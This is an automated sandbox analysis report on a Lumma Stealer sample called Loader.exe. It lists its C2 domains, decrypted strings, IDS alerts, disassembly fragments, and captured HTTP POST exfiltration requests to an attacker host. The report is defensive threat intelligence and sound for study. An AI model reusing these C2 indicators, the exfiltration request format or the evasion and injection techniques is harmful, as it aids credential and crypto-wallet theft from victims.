Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1582872
MD5:	932410f2b859e916c9c7a8b801348466
SHA1:	f59ac63b492dbc16a7eedd3d18efc59acf21a6a7
SHA256:	17e94a7a504d2b8ab36914f0b5d2bebd9a2acd21533cfba1ca410c6594498272
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 4980 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 932410F2B859E916C9C7A8B801348466)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Loader.exe (PID: 6472 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 932410F2B859E916C9C7A8B801348466)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "tirepublicerj.shop", "cloudewahsj.shop", "rabidcowse.shop", "wholersorie.shop", "abruptyopsn.shop", "fancywaxxers.shop", "framekgirus.shop", "nearycrepso.shop"], "Build id": "yau6Na--5809224103"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2338745992.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2352050415.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2375611870.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2375179400.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2390068678.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6472	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6472	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6472	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:09.546494+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:38.303746+0100	2028371	3	Unknown Traffic	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:39.548056+0100	2028371	3	Unknown Traffic	192.168.2.5	49792	104.21.80.1	443	TCP
2024-12-31T17:38:41.043154+0100	2028371	3	Unknown Traffic	192.168.2.5	49800	104.21.80.1	443	TCP
2024-12-31T17:38:43.396652+0100	2028371	3	Unknown Traffic	192.168.2.5	49815	104.21.80.1	443	TCP
2024-12-31T17:38:45.340382+0100	2028371	3	Unknown Traffic	192.168.2.5	49827	104.21.80.1	443	TCP
2024-12-31T17:38:47.321564+0100	2028371	3	Unknown Traffic	192.168.2.5	49842	104.21.80.1	443	TCP
2024-12-31T17:38:49.423943+0100	2028371	3	Unknown Traffic	192.168.2.5	49858	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:37.817926+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:38.773454+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:49.900923+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49858	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:37.817926+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:38.773454+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49781	104.21.80.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:09.546494+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:38.303746+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:39.548056+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49792	104.21.80.1	443	TCP
2024-12-31T17:38:41.043154+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49800	104.21.80.1	443	TCP
2024-12-31T17:38:43.396652+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49815	104.21.80.1	443	TCP
2024-12-31T17:38:45.340382+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49827	104.21.80.1	443	TCP
2024-12-31T17:38:47.321564+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49842	104.21.80.1	443	TCP
2024-12-31T17:38:49.423943+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.5	49858	104.21.80.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:09.045715+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.5	65173	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:38:40.377926+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49792	104.21.80.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop:443/apiMicrosoft	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api$	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apiSd	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apiNh	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/kqu	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api_yU	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api1-2	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apiMECn	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api.	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/sl	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api-	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "tirepublicerj.shop", "cloudewahsj.shop", "rabidcowse.shop", "wholersorie.shop", "abruptyopsn.shop", "fancywaxxers.shop", "framekgirus.shop", "nearycrepso.shop"], "Build id": "yau6Na--5809224103"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.6% probability

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fancywaxxers.shop
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--5809224103

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00414A9A CryptUnprotectData,

3_2_00414A9A

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49858 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0033B6A8 FindFirstFileExW,	0_2_0033B6A8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0033B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0033B759
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0033B6A8 FindFirstFileExW,	3_2_0033B6A8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0033B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_0033B759

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+7A9041FFh]	3_2_0042207D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000000A0h]	3_2_0042207D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [edi+eax], 0000h	3_2_00420830
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edx], al	3_2_0042DA21
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax]	3_2_0043F23F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042D2FF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00414A9A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000002B4h]	3_2_00414A9A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov esi, eax	3_2_00414A9A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00439B30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ecx, edx	3_2_00439B30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [edi+eax+09h], 00000000h	3_2_00439B30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, di	3_2_00426B80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [edi], cx	3_2_0040CEC7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-12h]	3_2_00440ED0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0Eh]	3_2_00441F50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0040D75B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	3_2_0040D75B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+00000128h]	3_2_0040D75B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+70DF14B1h]	3_2_0040D75B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+486C2613h]	3_2_0040D75B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then call 00440630h	3_2_0043CFDB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+38h]	3_2_00427050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov esi, ecx	3_2_00427050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00427050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	3_2_00427879
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00427030
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edx], al	3_2_0041B8D4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	3_2_00405910
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	3_2_00405910
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0F72769Fh]	3_2_00416914
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000130h]	3_2_00416914
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 7DA30DA1h	3_2_00416914
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00420130
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0042B1E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00421980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+08h]	3_2_0043D9A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042AA70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_004162D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov dword ptr [esp+000000A4h], 00000000h	3_2_004162D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then push edi	3_2_0043EAF2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041AA81
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0041AA81
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00436320
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042BBCB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042CC46
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00407470
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042BC0F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042BB79
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edi, ecx	3_2_0041CD40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00428D4A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00413D50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, 00000001h	3_2_00413D50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-38328F31h]	3_2_0043D560
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_0042AD70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00423D10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00423D10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp al, 5Ch	3_2_00402530
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	3_2_00429DF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00423D10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00423D10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	3_2_0040BDB9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00423E62
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042CE63
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then test eax, eax	3_2_0043A660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 385488F2h	3_2_0043A660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00416E62
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7FCF7E90h]	3_2_00421600
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042C63D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, eax	3_2_0043F6E3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_004096B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+1Ah]	3_2_004096B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	3_2_00402F10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx-17h]	3_2_00408FE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000B0h]	3_2_00417FBC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.5:65173 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49704 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49781 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49792 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49800 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49815 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49827 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49842 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.5:49858 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49792 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49858 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49781 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49781 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop

Source: Joe Sandbox View

IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49781 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49792 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49800 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49815 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49827 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49842 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49858 -> 104.21.80.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U5BOA8BVM9R9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12804Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DESGX3OQDDC0V3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15058Host: fancywaxxers.shop
